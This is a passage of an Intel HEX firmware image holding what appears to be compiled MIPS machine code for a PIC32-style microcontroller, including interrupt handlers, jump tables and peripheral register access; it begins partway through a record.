0b7200000000000000000001000c2930300422c43\n:10b730008e00401400000000d2ed400b000000001d\n:10b74000b6ed400b000000004c818393ff00022403\n:10b7500086006214000000004000c28f01004224f5\n:10b7600000004290211840004d8182932610620013\n:10b770000f0042307d00401400000000020002244f\n:10b780001100c2a34d818293100042300e00401080\n:10b79000000000001100c3934c8182272110620039\n:10b7a000000043901c00c2930400621000000000df\n:10b7b000211000005cee400b000000001100c2935d\n:10b7c000010042241100c2a34d8182932000423027\n:10b7d0000e004010000000001100c3934c8182272e\n:10b7e00021106200000043901d00c293040062100b\n:10b7f00000000000211000005cee400b0000000083\n:10b800001100c293010042241100c2a34d81829312\n:10b81000400042300b004010000000001100c393b4\n:10b820004c81822721106200000043901e00c293c9\n:10b830000400621000000000211000005cee400bcc\n:10b84000000000001400c0a31100c0a31fee400bb5\n:10b85000000000001100c3934c8182272110620078\n:10b86000000043901400c293261062001400c2a38b\n:10b870001100c293010042241100c2a31100c3931e\n:10b880001000c2932b106200f2ff40140000000071\n:10b890001400c293040040100000000021100000ba\n:10b8a0005cee400b000000004d818293100042309e\n:10b8b00029004010000000004e81829321204000aa\n:10b8c0009aee400f000000006c81828f21904000b2\n:10b8d000219800001480829321804000218800007c\n:10b8e000021070721800320212180000212043006a\n:10b8f00019005002121000001018000021208300cf\n:10b900002118800015808493212880001080848f66\n:10b910001800a40012a0000021a80000212040006f\n:10b9200021286000213080022138a002d833410f45\n:10b930000000000013004000110060001210000021\n:10b9400010180000648182afac1a410f00000000a3\n:10b9500045ef400f000000001000c293408182a319\n:10b96000010002245cee400b0000000021100000ea\n:10b9700021e8c0033c00bf8f3800be8f3400b58f74\n:10b980003000b48f2c00b38f2800b28f2400b18f09\n:10b990002000b08f4000bd270800e0030000000039\n:10b9a000f8ffbd270400beaf21f0a0037480838f91\n:10b9b00001000224040062140000000014000224ac\n:10b9c00073ee400b000000001e00022421e8c003bb\n:10b9d0000400be8f0800bd270800e003000000003f\n:10b9e000e8ffbd271400bfaf1000beaf21f0a003d9\n:10b9f00088bf033c206162940442027c206162a4ff\n:10ba000001000424c219410f0000000080bf033c64\n:10ba100000326294c47b027c003262a480bf033c8b\n:10ba200000086294c47b027c000862a480bf023cd0\n:10ba3000100840accf1a410f0000000088bf033c43\n:10ba400060606294444a027c606062a4748080af4b\n:10ba500021e8c0031400bf8f1000be8f1800bd275f\n:10ba60000800e00300000000f0ffbd270c00beaf9f\n:10ba700021f0a003211080001000c2a31000c29387\n:10ba80000f0042300000c2a301000224148082a3f0\n:10ba900001000224158082a30000c2931000432cf1\n:10baa0004d0060100000000080180200049d023c60\n:10bab000c4ba4224211062000000428c08004000f9\n:10bac00000000000d4bb039dd4bb039d04bb039db9\n:10bad00014bb039d24bb039d34bb039d44bb039d4a\n:10bae000d4bb039d54bb039d64bb039d74bb039dea\n:10baf00084bb039d94bb039da4bb039db4bb039d6a\n:10bb0000c4bb039d02000224148082a3f6ee400b06\n:10bb10000000000004000224148082a3f6ee400b13\n:10bb20000000000008000224148082a3f6ee400bff\n:10bb30000000000010000224148082a3f6ee400be7\n:10bb40000000000020000224148082a3f6ee400bc7\n:10bb5000000000000c000224148082a3f6ee400bcb\n:10bb60000000000014000224148082a3f6ee400bb3\n:10bb70000000000002000224158082a3f6ee400bb4\n:10bb80000000000004000224158082a3f6ee400ba2\n:10bb90000000000008000224158082a3f6ee400b8e\n:10bba0000000000010000224158082a3f6ee400b76\n:10bbb0000000000020000224158082a3f6ee400b56\n:10bbc0000000000040000224158082a3f6ee400b26\n:10bbd00000000000000000001000c29302110200eb\n:10bbe0000000c2a374010224108082af0000c2933f\n:10bbf0001000432c4200601000000000801802007a\n:10bc0000049d023c18bc4224211062000000428cba\n:10bc10000800400000000000fcbc039dfcbc039d2c\n:10bc200058bc039d68bc039d78bc039d88bc039de4\n:10bc300098bc039dfcbc039dfcbc039da8bc039d5c\n:10bc4000b8bc039dc8bc039dd8bc039de8bc039d44\n:10bc5000fcbc039dfcbc039d2e020224108082af1d\n:10bc600040ef400b00000000e8020224108082af89\n:10bc700040ef400b000000005c040224108082af03\n:10bc800040ef400b00000000d0050224108082af7e\n:10bc900040ef400b0000000044070224108082aff8\n:10bca00040ef400b0000000000020224108082af31\n:10bcb00040ef400b0000000000030224108082af20\n:10bcc00040ef400b0000000000040224108082af0f\n:10bcd00040ef400b0000000000060224108082affd\n:10bce00040ef400b0000000000080224108082afeb\n:10bcf0000000000040ef400b0000000000000000ca\n:10bd000021e8c0030c00be8f1000bd270800e0032f\n:10bd100000000000f0ffbd270c00beaf21f0a00323\n:10bd200058818393ff000224050062100000000088\n:10bd3000588182930c004224ffff4230428182a747\n:10bd4000478182930f004330010002240b006214ec\n:10bd50000000000058818393ff0002240500621454\n:10bd6000000000000b000224428182a77def400bff\n:10bd7000000000007def400b00000000588183931d\n:10bd8000ff00022403006214000000000c000224e3\n:10bd9000428182a7478182934000423005004010d3\n:10bda00000000000598182930000c2a36fef400b96\n:10bdb000000000000a0002240000c2a30000c39398\n:10bdc000148082931800620012100000801102009b\n:10bdd0000019020023186200158082931b00620084\n:10bde000f40140001010000012100000608182afca\n:10bdf0000000000042818297212040002110800035\n:10be0000c0100200401902002318620080110300d4\n:10be1000231043002110440080110200211840002b\n:10be20006481828f1b006200f4014000101000004a\n:10be300012100000548182af21e8c0030c00be8fb5\n:10be40001000bd270800e00300000000d8ffbd2758\n:10be50002400bfaf2000beaf21f0a0032800c4af74\n:10be60002c00c5af3000c6af1000c0a72800c28f9d\n:10be7000050042901200c2a72800c28f0400429021\n:10be80001600c2a32800c28f010042901700c2a36f\n:10be90001500c0a37480838f010002240600621085\n:10bea0000000000003000224788082af211000000f\n:10beb00091f0400b000000002c00c48f21280000ee\n:10bec000040006247152410f000000002800c28fb8\n:10bed0001800c2af1400c0a3c6ef400b0000000062\n:10bee0001400c2931800c38f21106200000042901a\n:10bef00021204000d719410f000000005481828f9b\n:10bf000021204000a519410f000000001400c29339\n:10bf1000010042241400c2a31400c2930400422c66\n:10bf2000efff4014000000001600c293070040100d\n:10bf3000000000001600c29321204000d719410fd5\n:10bf400000000000e2ef400b000000001200c2976a\n:10bf500008004010000000001200c297ff004230ad\n:10bf600021204000d719410f00000000e2ef400bf4\n:10bf70000000000021200000d719410f0000000040\n:10bf8000000102241200c2a76081828fffff4230ad\n:10bf90001c00c32721206000212840002e1a410fd9\n:10bfa000000000000600401400000000040002240d\n:10bfb000788082af2110000091f0400b000000005b\n:10bfc0001c00c393600002249c006210000000006b\n:10bfd0001c00c293f000433060000224060062108f\n:10bfe000000000001c00c293f000433090000224c7\n:10bff0001c006214000000001c00c3932c00c28fc0\n:10c00000020043a06081828fffff42301c00c327e3\n:10c0100021206000212840002e1a410f000000005e\n:10c020000b004010000000001c00c3932c00c28fc6\n:10c03000030043a0000000002c00c28f1000c39733\n:10c04000000043a40100022491f0400b0000000016\n:10c0500004000224788082af2110000091f0400b90\n:10c06000000000001c00c2931700c393420062143a\n:10c07000000000001500c3931600c2932b1062004d\n:10c080001c004010000000005481828f21204000dd\n:10c09000a519410f0000000036f0400b0000000021\n:10c0a0001500c2933000c38f21106200000042903f\n:10c0b00021204000d719410f000000005481828fd9\n:10c0c00021204000a519410f000000001500c29377\n:10c0d000010042241500c2a31500c3931600c293a9\n:10c0e0002b106200eeff401400000000e2ef400b56\n:10c0f0000000000057f0400b000000006081828fbc\n:10c10000ffff42301c00c32721206000212840008f\n:10c110002e1a410f000000000b004010000000002c\n:10c120001000c2973000c38f211062001c00c3931f\n:10c13000000043a01000c297010042241000c2a7d3\n:10c1400057f0400b0000000004000224788082af0a\n:10c150002110000091f0400b000000001000c39778\n:10c160001200c2972b106200e4ff40140000000090\n:10c17000e2ef400b000000001c00c29321184000b9\n:10c180001700c293271002002c0062140000000068\n:10c190001500c3931600c2932b10620010004010cc\n:10c1a000000000005481828f21204000a519410f1a\n:10c1b000000000001500c293010043241500c3a332\n:10c1c0003000c38f21106200000042902120400007\n:10c1d000d719410f000000008ff0400b0000000055\n:10c1e0006081828fffff42301c00c3272120600046\n:10c1f000212840002e1a410f000000000a004010c4\n:10c20000000000001000c297010043241000c3a7e3\n:10c210003000c38f211062001c00c393000043a0b4\n:10c220008ff0400b0000000004000224788082aff1\n:10c230002110000091f0400b00000000e2ef400be5\n:10c240000000000021e8c0032400bf8f2000be8f43\n:10c250002800bd270800e0030000000000e85d4161\n:10c2600000701b4002601a40e0ffbd271c00bbaffe\n:10c2700000601b401400baaf1800bbaf44781b7cb1\n:10c2800000187b3700609b400400a3af0000a2af02\n:10c290001400a38f0f00633003006014000000003f\n:10c2a0000c00beaf0800a4af0000000021f0a00306\n:10c2b00088bf023c4000033c341043ac88bf033cc1\n:10c2c000206162944408027c206162a43080828fe5\n:10c2d0000300401000000000308080af388280af43\n:10c2e0003882828f01004224388282af9c80829300\n:10c2f0000900432ca8006010000000008018020014\n:10c30000049d023c18c34224211062000000428cac\n:10c310000800400000000000a4c5039d3cc3039d2d\n:10c3200074c3039dc8c3039d20c4039d58c4039dcb\n:10c33000a0c4039d60c5039da4c5039d88bf033ca5\n:10c340002061629401000424444a827c206162a43a\n:10c3500088bf033ca0616294444a027ca06162a44d\n:10c36000fc8080af020002249c8082a36af1400b13\n:10c3700000000000fc80828f01004324fc8083af1a\n:10c38000b080838f2b10430003004010000000009a\n:10c390006af1400b00000000b480828f050040105d\n:10c3a0000000000088bf033c20616294444a027c84\n:10c3b000206162a4fc8080af030002249c8082a3e1\n:10c3c0006af1400b00000000fc80828f01004324d2\n:10c3d000fc8083afb480838f2b1043000300401098\n:10c3e000000000006af1400b000000001880828ffe\n:10c3f000000043902a0002240500621000000000a3\n:10c40000040002249c8082a36af1400b000000001b\n:10c41000080002249c8082a36af1400b0000000007\n:10c4200088bf033c2061629401000424444a827c5a\n:10c43000206162a488bf033ca0616294444a027cec\n:10c44000a06162a4fc8080af050002249c8082a3ce\n:10c450006af1400b00000000fc80828f0100432441\n:10c46000fc8083afa480838f2b1043000300401017\n:10c47000000000006af1400b0000000088bf033c90\n:10c4800020616294444a027c206162a4fc8080aff7\n:10c49000060002249c8082a36af1400b0000000089\n:10c4a0001880828f000043902a0002240600621444\n:10c4b00000000000070002249c8082a3fc8080af63\n:10c4c0006af1400b000000001880828f000042904b\n:10c4d0000500401000000000fc80838fac80828f3c\n:10c4e00009006210000000001880828f0000429056\n:10c4f0001600401400000000fc80838fa880828f0b\n:10c50000120062140000000088bf033c20616294a6\n:10c5100001000424444a827c206162a488bf033c59\n:10c52000a0616294444a027ca06162a41880828f58\n:10c5300001004224188082affc8080af05000224f5\n:10c540009c8082a36af1400b00000000fc80828f77\n:10c5500001004224fc8082af6af1400b0000000021\n:10c56000fc80828f01004324fc8083afc080838fd6\n:10c570002b10430003004010000000006af1400b44\n:10c5800000000000fc8080af080002249c8082a391\n:10c590006af1400b00000000000000006af1400b4f\n:10c5a000000000000000000021e8c0031400a28f7a\n:10c5b0000f00423005004014000000000c00be8f48\n:10c5c0000800a48f0400a38f0000a28f00000000c9\n:10c5d00000606041c00000001c00ba8f1800bb8fd3\n:10c5e00000709a401400ba8f2000bd2702609a4064\n:10c5f00000e8dd4100609b401800004200e85d411a\n:10c6000000701b4002601a40d8ffbd2700601b402d\n:10c610002000baaf2400bbaf44781b7c001c7b37e2\n:10c6200000609b400400a3af0000a2af2000a38fd6\n:10c630000f00633003006014000000000c00beaf68\n:10c640000800a4af00000000121000001400a2af08\n:10c65000101800001000a3af21f0a00388bf023c17\n:10c6600000100324341043ac088283932a00022470\n:10c6700024006214000000008c80828f1900401496\n:10c68000000000002082828fffff4324208283afbe\n:10c69000140040140000000088bf023c0010032476\n:10c6a000641043ac88bf023c681040ac80bf023cc1\n:10c6b000000a40ac88bf033c20616294010004245e\n:10c6c0000400827c206162a4008180af88bf033cab\n:10c6d000a0616294444a027ca06162a4abf2400b68\n:10c6e000000000001c82828f148282af1482828f2d\n:10c6f00001004324148283af00004290088282a389\n:10c70000008180af0081828f01004224008182afce\n:10c71000808082930400432809006010000000001c\n:10c72000020043285e0060100000000001000324a6\n:10c730000800431000000000abf2400b00000000b6\n:10c7400004000324ad00431000000000abf2400bd6\n:10c750000000000009828293211840000081828f2e\n:10c760001d0062140000000000a0023cdc564224c0\n:10c77000cc00428c0d0040140000000000a0023ce0\n:10c78000dc564224c400428c13004010000000001c\n:10c79000088282932118400000a0023cdc5642240b\n:10c7a000c800428c0c0062100000000088bf023cf0\n:10c7b000a061428c000242300100422cff00443054\n:10c7c00088bf033ca0616294444a827ca06162a459\n:10c7d0001af2400b0000000000a0023cdc5642248c\n:10c7e000c400428c13004010000000000081838fc1\n:10c7f0002882828f1b006200f401400010100000ac\n:10c80000190040100000000088bf023ca061428c6b\n:10c81000000242300100422cff00443088bf033c3c\n:10c82000a0616294444a827ca06162a41af2400b27\n:10c830000000000000a0023cdc564224c800428cec\n:10c84000ff0043300882829326106200ff004230ce\n:10c8500001004230ff00443088bf033ca061629475\n:10c86000444a827ca06162a40081838f2882828fe7\n:10c8700009006214000000001482828f010043242a\n:10c88000148283af00004290088282a3008180afaf\n:10c89000abf2400b00000000abf2400b00000000c8\n:10c8a000088282932118400000a0023cdc564224fa\n:10c8b000c800428c28006210000000000081838fb5\n:10c8c000108282931b006200f401400010100000ef\n:10c8d0000a0040140000000088bf023ca061428ca6\n:10c8e000000242300100422cff00443088bf033c6c\n:10c8f000a0616294444a827ca06162a40081828f1c\n:10c900002882848f108283931b008300f4016000cf\n:10c91000101800001220000010828393180083007a\n:10c92000121800001b004300f4016000101000000a\n:10c9300030004014000000001482828f0100432464\n:10c94000148283af00004290088282a3008180afee\n:10c95000abf2400b000000000081838f09828293bc\n:10c960001b006200f4014000101000000a00401497\n:10c970000000000088bf023ca061428c00024230ef\n:10c980000100422cff00443088bf033ca061629448\n:10c99000444a827ca06162a40081828f2882848fb5\n:10c9a000098283931b008300f401600010180000cb\n:10c9b00012200000098283931800830012180000df\n:10c9c0001b004300f4016000101000000900401437\n:10c9d000000000001482828f01004324148283af80\n:10c9e00000004290088282a3008180afabf2400b2e\n:10c9f00000000000abf2400b000000000081838fbc\n:10ca0000098282931b006200f401400010100000b4\n:10ca10000c0040140000000088bf023ca061428c62\n:10ca2000000242300100422cff00443088bf033c2a\n:10ca3000a0616294444a827ca06162a49ef2400b91\n:10ca40000000000000a0023cdc564224c800428cda\n:10ca5000ff0043300882829326106200ff004230bc\n:10ca600001004230ff00443088bf033ca061629463\n:10ca7000444a827ca06162a40081838f2882828fd5\n:10ca800009006214000000001482828f0100432418\n:10ca9000148283af00004290088282a3008180af9d\n:10caa000aaf2400b000000000000000021e8c003d3\n:10cab0001400a28f130040001000a38f110060002b\n:10cac0002000a28f0f00423005004014000000003b\n:10cad0000c00be8f0800a48f0400a38f0000a28f5b\n:10cae000000000002400bb8f2000ba8f2800bd2763\n:10caf00002609a4000e8dd4100609b40180000425f\n:10cb000000e85d4100701b4002601a4080ffbd27b5\n:10cb10007c00bbaf00601b407400baaf7800bbafb5\n:10cb200044781b7c00187b3700609b402000a3af3b\n:10cb30001c00a2af7400a38f0f00633013006014b9\n:10cb4000000000006400bfaf6000beaf5c00b9af82\n:10cb50005800b8af5400b0af5000afaf4c00aeaf0c\n:10cb60004800adaf4400acaf4000abaf3c00aaaf53\n:10cb70003800a9af3400a8af3000a7af2c00a6af93\n:10cb80002800a5af2400a4af1800a1af000000004a\n:10cb9000121000006c00a2af101800006800a3afd4\n:10cba00021f0a0031000c0af88bf033ca0606294d6\n:10cbb000010004244408827ca06062a488bf033c76\n:10cbc000a0606294010004248410827ca06062a4ae\n:10cbd00088bf023c0100033c341043ac9080829338\n:10cbe0000100422cff004230908082a39480828f0b\n:10cbf0000300401000000000b6f4400b00000000ed\n:10cc00003482828f0800401400000000f88080af5a\n:10cc1000ffff0224348082a3f80c410f00000000c3\n:10cc2000b6f4400b000000004082829307004010e1\n:10cc30000000000040828293ffff4224ff00423048\n:10cc4000408282a3b6f4400b0000000088bf033c82\n:10cc5000a06062944408027ca06062a400a0023c30\n:10cc6000dc564224a00042900400432809006010d2\n:10cc700000000000020043289e0060100000000039\n:10cc80000100032408004310000000009ef4400b44\n:10cc900000000000040003242701431000000000ee\n:10cca0009ef4400b0000000088bf023cd060428c24\n:10ccb0000002427cff0042302014027c048182a3e7\n:10ccc000f880828f090040140000000000a0023ca0\n:10ccd000dc564224cc00428c0400401000000000ce\n:10cce000f880828f01004224f88082af00a0023ccd\n:10ccf000dc564224cc00428c28004010000000008a\n:10cd0000f880828f2500401000000000f880828f9c\n:10cd100001004230210040100000000004818383a4\n:10cd2000348082831d0062140000000088bf033c31\n:10cd3000e0606294c45a027ce06062a4f480828f56\n:10cd40000800401000000000f88080afffff0224c0\n:10cd5000348082a3f80c410f00000000b6f4400bb1\n:10cd60000000000001000224f48082af1482838f4f\n:10cd7000f880828f4210020023100200211062000e\n:10cd8000148282af01000224f88082af80bf023c8f\n:10cd9000100e40acb6f4400b0000000000a0023cb6\n:10cda000dc564224c400428c1f00401000000000ea\n:10cdb000f880828f010042301b004010000000000c\n:10cdc00034808383048182830b006214000000009e\n:10cdd0001482828f01004324148283af00a0033c9d\n:10cde000dc566324c800638cff006330000043a05e\n:10cdf00088f3400b000000001482828f010043245e\n:10ce0000148283af00a0033cdc566324c800638c0b\n:10ce1000ff00633001006338ff006330000043a06f\n:10ce200080bf023c100e40ac00a0023cdc56422405\n:10ce3000cc00428c140040140000000000a0023c12\n:10ce4000dc564224c400428c0f0040140000000055\n:10ce50001482828f01004324148283af00a0033c1c\n:10ce6000dc566324c800638cff0064300481838334\n:10ce7000ff00633026188300ff006330000043a0ea\n:10ce800080bf023c100e40ac00a0023cdc564224a5\n:10ce9000cc00428c1300401000000000f880828f0c\n:10cea000010042300f004010000000001482828f09\n:10ceb00001004324148283af048183832120600016\n:10cec00000a0033cdc566324c800638c2618830052\n:10ced0000100632cff006330000043a080bf023cd0\n:10cee000100e40ac04818283348082a39ef4400bf8\n:10cef0000000000000a0023cdc5642249c00438c51\n:10cf000000a0023cdc564224a400448c00a0023c59\n:10cf1000dc564224a400458ccccc023ccdcc42341f\n:10cf20001900a200101000008210020023108200dd\n:10cf300018006200121000001400c2af01000424a7\n:10cf4000e30d410f0000000033f4400b000000002f\n:10cf5000010002241000c2afe3f3400b0000000008\n:10cf600021200000e30d410f0000000021184000c7\n:10cf70001400c28f2b10430004004010000000007a\n:10cf80001000c0afe8f3400b0000000088bf023c77\n:10cf9000d060428c00014230f1ff401400000000dc\n:10cfa000f5f3400b0000000021200000e30d410fcd\n:10cfb00000000000211840001400c28f2b10430015\n:10cfc00004004010000000001000c0affaf3400b56\n:10cfd0000000000088bf023cd060428c000142305b\n:10cfe000f1ff40100000000007f4400b00000000bb\n:10cff00021200000e30d410f000000002118400037\n:10d000001400c28f2b1043000400401000000000e9\n:10d010001000c0af0cf4400b0000000088bf023cc1\n:10d02000d060428c00014230f1ff4014000000004b\n:10d0300019f4400b0000000021200000e30d410f17\n:10d0400000000000211840001400c28f2b10430084\n:10d0500004004010000000001000c0af1ef4400ba0\n:10d060000000000088bf023cd060428c00014230ca\n:10d07000f1ff40100000000001000424e30d410f07\n:10d08000000000002ef4400b0000000021200000f2\n:10d09000e30d410f00000000211840001400c28f72\n:10d0a0002b10430004004010000000001000c0af2f\n:10d0b00033f4400b0000000088bf023cd060428c7b\n:10d0c00000014230f1ff4014000000002120000068\n:10d0d000e30d410f00000000211840001400c28f32\n:10d0e0002b10620004004010000000001000c28fee\n:10d0f00097ff4010000000001000c28f0c0040108d\n:10d10000000000001482828f21804000010002266e\n:10d11000148282af01000424e30d410f00000000df\n:10d12000ff004230000002a29ef4400b000000000d\n:10d130009ef4400b0000000000a0023cdc5642249c\n:10d140009c00438ccccc023ccdcc42341900620014\n:10d1500010100000c2100200c01002001400c2af84\n:10d1600080bf023c100e40ac63f4400b0000000096\n:10d1700088bf023cd060428c000142300300401066\n:10d180000000000069f4400b0000000080bf023c7a\n:10d19000100e438c1400c28f2b106200f4ff401459\n:10d1a0000000000088bf023cd060428c0002427c3c\n:10d1b000ff0042302118400000a0023cdc5642240f\n:10d1c000c800428cff00423026106200ff0043304e\n:10d1d00004818283ff00423026106200ff0042304b\n:10d1e0002014027c048182a33c82828f19004010ab\n:10d1f0000000000088bf023cd060428c0001423039\n:10d20000140040100000000080bf023c100e40ac33\n:10d210000000000088bf023cd060428c0001423018\n:10d22000fcff40140000000021200000e30d410f2e\n:10d23000000000001400c2af3c82828f1400c38f34\n:10d240002b106200030040100000000001000224c7\n:10d25000f08082af1482828f01004324148283af56\n:10d2600004818383ff006330000043a080bf023c41\n:10d27000100e40ac00000000f880828f01004224b4\n:10d28000f88082af88bf033ca06062948410027c67\n:10d29000a06062a4f880838f3482828f0e006214b3\n:10d2a00000000000f88080aff880828f348282af67\n:10d2b000ffff0224348082a3f48080af88bf033c48\n:10d2c000e060629401000424c45a827ce06062a49d\n:10d2d000f80c410f0000000021e8c0036c00a28f91\n:10d2e000130040006800a38f110060007400a28f3b\n:10d2f0000f00423015004014000000006400bf8f92\n:10d300006000be8f5c00b98f5800b88f5400b08f9a\n:10d310005000af8f4c00ae8f4800ad8f4400ac8ff3\n:10d320004000ab8f3c00aa8f3800a98f3400a88f33\n:10d330003000a78f2c00a68f2800a58f2400a48f73\n:10d340002000a38f1c00a28f1800a18f00000000f6\n:10d3500000606041c00000007c00ba8f7800bb8f85\n:10d3600000709a407400ba8f8000bd2702609a4016\n:10d3700000e8dd4100609b4018000042e8ffbd2747\n:10d380001400bfaf1000beaf21f0a0032110800039\n:10d390001800c2a31800c29334004010000000001f\n:10d3a0001800c2930200032418004310000000007c\n:10d3b0000300432806006010000000000100032461\n:10d3c0000b0043100000000018f5400b00000000a7\n:10d3d0000300032414004310000000000400032491\n:10d3e000180043100000000018f5400b000000007a\n:10d3f00088bf033ca0606294010004244408827c3e\n:10d40000a06062a41bf5400b0000000088bf033c35\n:10d41000a0606294010004248410827ca06062a455\n:10d420001bf5400b0000000088bf033ca060629425\n:10d4300001000424c418827ca06062a41bf5400b88\n:10d440000000000088bf033c2061629401000424b6\n:10d450004429827c206162a41bf5400b000000007f\n:10d460002110000036f6400b0000000088bf023c8f\n:10d47000d060428c4001427cff00423021184000c5\n:10d4800000a0023cdc564224980043ac2cf5400b33\n:10d49000000000002b15410f0000000004004010a8\n:10d4a000000000002110000036f6400b00000000d4\n:10d4b00088bf023cd060428c4001427cff00423079\n:10d4c0002118400000a0023cdc5642249800428c07\n:10d4d0000b0062140000000088bf023cd060428c48\n:10d4e0008001427cff0042302118400000a0023c35\n:10d4f000dc5642249800428ce6ff621000000000d7\n:10d5000001000424e30d410f0000000088bf023c2d\n:10d51000d060428c4001427cff0042302118400024\n:10d5200000a0023cdc5642249800428c0b006210a2\n:10d5300000000000d080828f01004324d08083afa0\n:10d5400000a0033cdc2463242110430030000324aa\n:10d55000000043a068f5400b00000000d080828fdf\n:10d5600001004324d08083af00a0033cdc2463246b\n:10d570002110430031000324000043a068f5400b54\n:10d58000000000002b15410f0000000004004010b7\n:10d59000000000002110000036f6400b00000000e3\n:10d5a00088bf023cd060428c4001427cff00423088\n:10d5b0002118400000a0023cdc5642249800428c16\n:10d5c000f0ff62140000000088bf023cd060428c73\n:10d5d0008001427cff0042302118400000a0023c44\n:10d5e000dc5642249800428ce6ff621400000000e2\n:10d5f00001000424e30d410f000000002118400049\n:10d6000000a0023cdc564224900043ac8cf5400b59\n:10d61000000000002b15410f000000000400401026\n:10d62000000000002110000036f6400b0000000052\n:10d6300088bf023cd060428c4001427cff004230f7\n:10d640002118400000a0023cdc5642249800428c85\n:10d650000b0062140000000088bf023cd060428cc6\n:10d660008001427cff0042302118400000a0023cb3\n:10d67000dc5642249800428ce6ff62100000000055\n:10d6800001000424e30d410f0000000021184000b8\n:10d6900000a0023cdc564224940043ac88bf023c0c\n:10d6a000d060428c4001427cff0042302118400093\n:10d6b00000a0023cdc5642249800428c0b00621011\n:10d6c00000000000d080828f01004324d08083af0f\n:10d6d00000a0033cdc246324211043003000032419\n:10d6e000000043a0ccf5400b00000000d080828fea\n:10d6f00001004324d08083af00a0033cdc246324da\n:10d700002110430031000324000043a0ccf5400b5e\n:10d71000000000002b15410f000000000400401025\n:10d72000000000002110000036f6400b0000000051\n:10d7300088bf023cd060428c4001427cff004230f6\n:10d740002118400000a0023cdc5642249800428c84\n:10d75000f0ff62140000000088bf023cd060428ce1\n:10d760008001427cff0042302118400000a0023cb2\n:10d77000dc5642249800428ce6ff62140000000050\n:10d78000212000003cf6400f00000000d48083936d\n:10d79000010002241d0062140000000000a0023cf1\n:10d7a000dc5642249000428c059d033c285764249b\n:10d7b000212840006913410f0000000000a0023c36\n:10d7c000dc5642249400428c059d033c4857642457\n:10d7d000212840006913410f0000000000a0023c16\n:10d7e000dc5642249000438c00a0023cdc564224cc\n:10d7f0009400428c21106200059d033c6c57642408\n:10d80000212840006913410f000000001800c29356\n:10d8100030004010000000001800c29302000324f2\n:10d8200017004310000000000300432806006010aa\n:10d8300000000000010003240b0043100000000062\n:10d8400032f6400b000000000300032412004310d6\n:10d850000000000004000324150043100000000035\n:10d8600032f6400b0000000088bf033ca0606294c9\n:10d870004408027ca06062a435f6400b0000000062\n:10d8800088bf033ca06062948410027ca06062a404\n:10d8900035f6400b0000000088bf033ca060629496\n:10d8a000c418027ca06062a435f6400b00000000a2\n:10d8b00088bf033c206162944429027c206162a4f9\n:10d8c00035f6400b000000002110000036f6400b3a\n:10d8d000000000000100022421e8c0031400bf8ff3\n:10d8e0001000be8f1800bd270800e00300000000f4\n:10d8f000d8ffbd272400bfaf2000beaf1c00b0afd3\n:10d9000021f0a003211080002800c2a32800c293a8\n:10d9100044004010000000002800c29302000324cd\n:10d920001c004310000000000300432806006010a4\n:10d9300000000000010003240b0043100000000061\n:10d9400086f6400b00000000030003241c00431077\n:10d950000000000004000324240043100000000025\n:10d9600086f6400b0000000088bf023ca060428c9d\n:10d97000020042300100422cff00443088bf033ccb\n:10d98000a06062944408827ca06062a489f6400b87\n:10d990000000000088bf023ca060428c04004230be\n:10d9a0000100422cff00443088bf033ca060629419\n:10d9b0008410827ca06062a489f6400b0000000005\n:10d9c00088bf023ca060428c080042300100422c1b\n:10d9d000ff00443088bf033ca0606294c418827c7e\n:10d9e000a06062a489f6400b0000000088bf023ce2\n:10d9f0002061428c200042300100422cff00443064\n:10da000088bf033c206162944429827c206162a427\n:10da100089f6400b0000000021100000fdf6400bcd\n:10da20000000000000a0023cdc5642249000438c21\n:10da300000a0023cdc5642249400428c211062007b\n:10da4000401002001000c2afd080828f21804000c1\n:10da500001000226d08082af2120000004f7400f91\n:10da6000000000002118400000a0023cdc244224f9\n:10da700021100202000043a0d080908f1000c48fbc\n:10da800004f7400f000000002118400000a0023cf5\n:10da9000dc24422421100202000043a0d080838fa6\n:10daa00000a0023cdc2442242110620000004290cd\n:10dab0000700401400000000000000002800c2938e\n:10dac0004b00401000000000b9f6400b00000000c1\n:10dad000d080828f01004224d08082af9ef6400b1e\n:10dae000000000002800c293020003241c00431021\n:10daf0000000000003004328060060100000000042\n:10db0000010003240b00431000000000f9f6400b55\n:10db100000000000030003241c004310000000006c\n:10db2000040003242400431000000000f9f6400b19\n:10db30000000000088bf023ca060428c020042301e\n:10db40000100422cff00443088bf033ca060629477\n:10db50004408827ca06062a4fcf6400b0000000038\n:10db600088bf023ca060428c040042300100422c7d\n:10db7000ff00443088bf033ca06062948410827c24\n:10db8000a06062a4fcf6400b0000000088bf023ccd\n:10db9000a060428c080042300100422cff0044305b\n:10dba00088bf033ca0606294c418827ca06062a419\n:10dbb000fcf6400b0000000088bf023c2061428c54\n:10dbc000200042300100422cff00443088bf033c5b\n:10dbd000206162944429827c206162a4fcf6400b9f\n:10dbe0000000000021100000fdf6400b00000000c6\n:10dbf0000100022421e8c0032400bf8f2000be8f53\n:10dc00001c00b08f2800bd270800e00300000000c2\n:10dc1000e0ffbd271c00bfaf1800beaf21f0a0037e\n:10dc20002000c4af01000424e30d410f00000000f8\n:10dc300024f7400b0000000021200000e30d410ffd\n:10dc4000000000001400c2af2000c28f0900401085\n:10dc5000000000001400c38f2000c28f2b1043006f\n:10dc60000400401000000000211000005ef7400b8f\n:10dc7000000000002b15410f0000000004004010c0\n:10dc800000000000211000005ef7400b00000000c3\n:10dc900088bf023cd060428c4001427cff00423091\n:10dca0002118400000a0023cdc5642249800428c1f\n:10dcb0000b0062140000000088bf023cd060428c60\n:10dcc0008001427cff0042302118400000a0023c4d\n:10dcd000dc5642249800428cd7ff621000000000fe\n:10dce00088bf023cd060428c4001427cff00423041\n:10dcf0002118400000a0023cdc5642249800428ccf\n:10dd00000500621000000000300002241000c2a3d1\n:10dd100048f7400b00000000310002241000c2a3ad\n:10dd20000000000088bf023cd060428c4001427c71\n:10dd3000ff0042302118400000a0023cdc56422483\n:10dd40009800428cf7ff62140000000088bf023c7c\n:10dd5000d060428c8001427cff004230211840009c\n:10dd600000a0023cdc5642249800428cedff621475\n:10dd7000000000001000c29321e8c0031c00bf8f08\n:10dd80001800be8f2000bd270800e003000000003f\n:10dd9000e8ffbd271400bfaf1000beaf21f0a00305\n:10dda0001800c4af78f7400b000000001800c28fc5\n:10ddb000000042902120400093f7400f0000000037\n:10ddc0000400401400000000010002247df7400b15\n:10ddd000000000001800c28f010042241800c2afea\n:10dde0001800c28f00004290f0ff401400000000b5\n:10ddf0002110000021e8c0031400bf8f1000be8f67\n:10de00001800bd270800e00300000000f8ffbd2750\n:10de10000400beaf21f0a0030800c4af8880828f49\n:10de20000400401000000000010002248ef7400ba7\n:10de3000000000000100022421e8c0030400be8f9e\n